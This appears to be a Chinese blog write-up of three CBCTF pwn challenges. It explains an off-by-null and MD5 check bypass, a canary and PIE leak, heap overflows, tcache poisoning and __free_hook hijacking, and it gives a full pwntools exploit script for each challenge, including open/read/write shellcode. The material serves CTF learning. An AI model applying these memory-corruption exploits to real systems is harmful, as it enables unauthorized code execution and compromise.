CBCTFpwn
发表于:2021-08-02 |
字数统计: 2k | 阅读时长: 10分钟 | 阅读量:

CBCTF pwn WP

题目还行,第一次把pwn题a了,尽管只有三道题😁

1.old_thing

是个久违的栈题,首先必须通过这个检测函数,我一看不正是刚打过的总决赛的题嘛,在第16行有offbynull漏洞,会将s2的第一个字节覆盖为\x00,因而我们只需要撞出MD5加密后为30位的值,然后利用strcmp函数漏洞绕过,可以发送’168‘或’1a3‘等等绕过strcmp函数,绕过这个函数后,后面就是普通的栈溢出了。

image-20210802000932708

漏洞在read函数上,读入的字节数较多,造成溢出,因为有canary保护,所以我们先泄露canary,由ida可以看出s2距canary有0x18的距离,又canary的第一个字节是\x00,所以我们需要发送0x19个字节的垃圾数据覆盖这个\x00,使printf能够泄露出canary。

image-20210802002413373

得到canary,因又PIE保护,所以得先泄露代码段的基地址,而rbp正好有代码段地址,因而得到代码段基地址,最后将返回地址改为后门函数,在泄露代码段地址时,只有后三位16进制是不变的,所以需要爆破,的权限。

撞30位哈希值脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

def md5encry(data):
md5 = hashlib.md5() # 应用MD5算法
md5.update(data.encode('utf-8'))
md = int(md5.hexdigest(), 16)
return md

for i in range(0,1000):
h1 = hex(md5encry(hex(i)[2:]))[2:]
if len(h1) != 0x20:
h1 = h1.rjust(0x20,'0')
#print((h1))
if h1[0]=='0' and h1[1]=='0':
print(h1)
print(hex(i))
break

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
#io = process('./canary3')
#io = remote('node4.buuoj.cn',26031)
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

def exp():
io.recvuntil('username: ')
payload = 'admin'
payload = payload.ljust(0x20,'\x00')
io.send(payload)
io.recvuntil('password: ')
payload = '168'
payload = payload.ljust(0x20,'\x00')
gdb.attach(io)
io.send(payload)
io.sendlineafter('3.exit\n','2')
payload = 'a'*0x19
#gdb.attach(io)
io.sendafter('input:\n',payload)
io.sendlineafter('3.exit\n','1')
#gdb.attach(io)
io.recvuntil('a'*0x19)
canary = u64(io.recv(7).ljust(8,'\x00'))
canary = canary<<8
print('canary',hex(canary))
addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(addr))
addr = addr >> 16
addr = addr << 16
addr = addr + 0x239f
print(hex(addr))

io.sendlineafter('3.exit\n','2')
payload = 'a'*0x18 + p64(canary) + p64(0) + p64(addr)
io.sendafter('input:\n',payload)
io.sendlineafter('3.exit\n','3')
io.recvuntil('it!\n',timeout = 0.5)
io.sendline('cat flag')
io.recvuntil('}')
#exp()

i = 0
while (i != 20):
try:
#io = process('./canary3')
io = remote('node4.buuoj.cn',26031)
exp()
i += 1
except:
i += 1
io.close()

2.realNoOutput

将函数恢复得到如下,这个qword_3560的作用就是如果chunk指针小于这个地址,那么就会对上一步我们操作过的大于这个地址的chunk再一次进行操作;如果chunk指针大于这个地址,就对此chunk进行操作。

image-20210802100342867

image-20210802100724651

可以发现dele,edit,show都进行了判断操作,也就是说,如果操作的chunk地址小于第一个申请的chunk,那么就会对上一次操作过的chunk再一次操作。

image-20210802100807211

image-20210802100851039

image-20210802100909732

因此我们改如何让申请的chunk的地址小于第一次申请的chunk呢?发现可以申请10个chunk,但size被分配到的空间只能存放8个chunk的大小,因此size会溢出,我们只需要先申请0和1位置的chunk,再申请8和9位置的chunk就可以将0和1的chunk地址覆盖为size,就可以得到小于第一次申请的chunk因而可以重复利用chunk。

image-20210802102531583

image-20210802102555327

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
#io = process('./realNoOutput')
io = remote('node4.buuoj.cn',26345)
elf = ELF('./realNoOutput')
#libc = elf.libc
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

def add(a1,a2,a3):
io.sendline('1')
raw_input()
io.sendline(str(a1))
raw_input()
io.sendline(str(a2))
raw_input()
io.send(a3)
raw_input()

def dele(a1):
io.sendline('2')
raw_input()
io.sendline(str(a1))
raw_input()

def edit(a1,a2):
io.sendline('3')
raw_input()
io.sendline(str(a1))
raw_input()
io.send(a2)
raw_input()

def show(a1):
io.sendline('4')
raw_input()
io.sendline(str(a1))
raw_input()

def exp():
add(0,0x100,'a\x0a')
add(1,0x100,'a\x0a')
add(2,0x80,'a\x0a')
add(3,0x80,'a\x0a')
add(4,0x80,'a\x0a')
add(5,0x100,'a\x0a')
add(6,0x100,'a\x0a')
add(7,0x100,'a\x0a')
add(8,0x10,'a\x0a')
add(9,0x10,'a\x0a')

dele(3)
dele(2)
show(1)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x580
print('heap_base',hex(heap_base))

add(2,0x80,'a\x0a')
add(3,0x80,'a\x0a')
edit(2,'a\x0a')
payload = 'a'*0x80 + p64(0) + p64(0x451)
edit(1,payload)
dele(3)
show(1)
malloc_hook = u64(io.recvuntil('\x7f')[1:].ljust(8,'\x00')) - 96 - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))

free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
dele(4)
dele(2)
edit(1,p64(free_hook-0x10))
add(2,0x80,'/bin/sh\x00'*2)
add(4,0x80,'/bin/sh\x00'*2+p64(system))
dele(2)
io.interactive()

exp()

在做这个题的时候我遇到了一个问题就是因为edit这个功能中的read操作写入的大小是根据size[]来的所以将size[8]覆盖为chunk0的地址发现却不能读入。

3.EasyHeap

常规沙箱堆题,禁用了execve和mmap函数,保护全开。

image-20210802003402630

此题用了strdup()函数,相当于是malloc函数,但他是根据指针指向值的长度来分配内存的。因此我们可以通过输入一个大于字符串长度的值来进行堆溢出。

image-20210802095022988

因为程序在0x23330000的位置开辟了块可读可写可执行的空间,所以我们将shellcode写入这里,在利用__free_hook将程序流劫持到shellcode的地方执行shellcode拿到权限。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
#io = process('./Easyheap')
io = remote('node4.buuoj.cn',29538)
elf = ELF('./Easyheap')
libc = ELF('./libc-2.27.so')
context.arch = 'amd64'
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

def add(a1,a2):
io.sendlineafter('>> :\n','1')
io.sendlineafter('Size: \n',str(a1))
io.sendafter('Content: \n',a2)

def dele(a1):
io.sendlineafter('>> :\n','2')
io.sendlineafter('Index:\n',str(a1))

def show(a1):
io.sendlineafter('>> :\n','3')
io.sendlineafter('Index:\n',str(a1))

def edit(a1,a2):
io.sendlineafter('>> :\n','4')
io.sendlineafter('Index:\n',str(a1))
io.sendafter('Content:\n',a2)

def exp():
add(0x500,'a'*0x10)#0
add(0x500,'b'*0x80)#1
add(0x500,'c'*0x80)#2
add(0x500,'d'*0x10)#3
add(0x500,'e'*0x80)#4
add(0x500,'f'*0x80)#5
add(0x500,'g'*0x10)#6
dele(2)
dele(1)
payload = 'a'*0x20
edit(0,payload)
show(0)
io.recvuntil('a'*0x20,timeout = 0.5)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x310
print('heap_base',hex(heap_base))

payload = 'a'*0x10 + p64(0) + p64(0x91) + p64(heap_base+0x10)
edit(0,payload)
add(0x500,'b'*0x80)#1
edit(1,'./flag\x00\x00')
#pause()
add(0x500,'c'*0x80)#2 tcache
edit(2,'\x00'*7+'\x07'+'\x00'*0x78)
dele(4)
edit(3,'a'*0x20)
show(3)
io.recvuntil('a'*0x20,timeout = 0.5)
malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
edit(3,'a'*0x10+p64(0)+p64(0x91))
edit(2,'\x00'*0x8)

add(0x500,'e'*0x80)#4
dele(5)
dele(4)
edit(3,'a'*0x10+p64(0)+p64(0x91)+p64(0x23330000))
add(0x500,'e'*0x80)#4
add(0x500,'e'*0x80)#5 0x23330000
#open('./flag',0)
payload = '''
mov rax,2;
'''
payload += 'mov rdi,'+hex(heap_base+0x280)+';'
payload +='''
xor rsi,rsi;
syscall;
'''
payload = asm(payload)
#read(fd,addr,0x20)
payload1 = '''
mov rdi,rax;
xor rax,rax;
'''
payload1 += 'mov rsi,'+hex((heap_base+0x260))+';push 0x30; pop rdx;syscall;'
payload1 = asm(payload1)
#write(1,addr,0x20)
payload2 = 'mov rsi,'+hex(heap_base+0x260)+';push 0x30; pop rdx;mov rdi,1;push 1;pop rax;syscall'
payload2 = asm(payload2)
print(len(payload+payload1+payload2))
edit(5,payload+payload1+payload2)

#pause()
add(0x500,'a'*0x30)#7
add(0x500,'a'*0x30)#8
dele(8)
dele(7)
free_hook = libc_base + libc.symbols['__free_hook']
payload = 'a'*0x10+p64(0)+p64(0x41)+p64(free_hook)
edit(6,payload)
#pause()
add(0x500,'a'*0x30)#7
#pause()
add(0x500,'a'*0x30)#8 free_hook
edit(8,p64(0x23330000))
# gdb.attach(io)
dele(7)
io.recvuntil('}')
#io.interactive()

exp()

上一篇:
xiangyuncup
下一篇:
静态pwn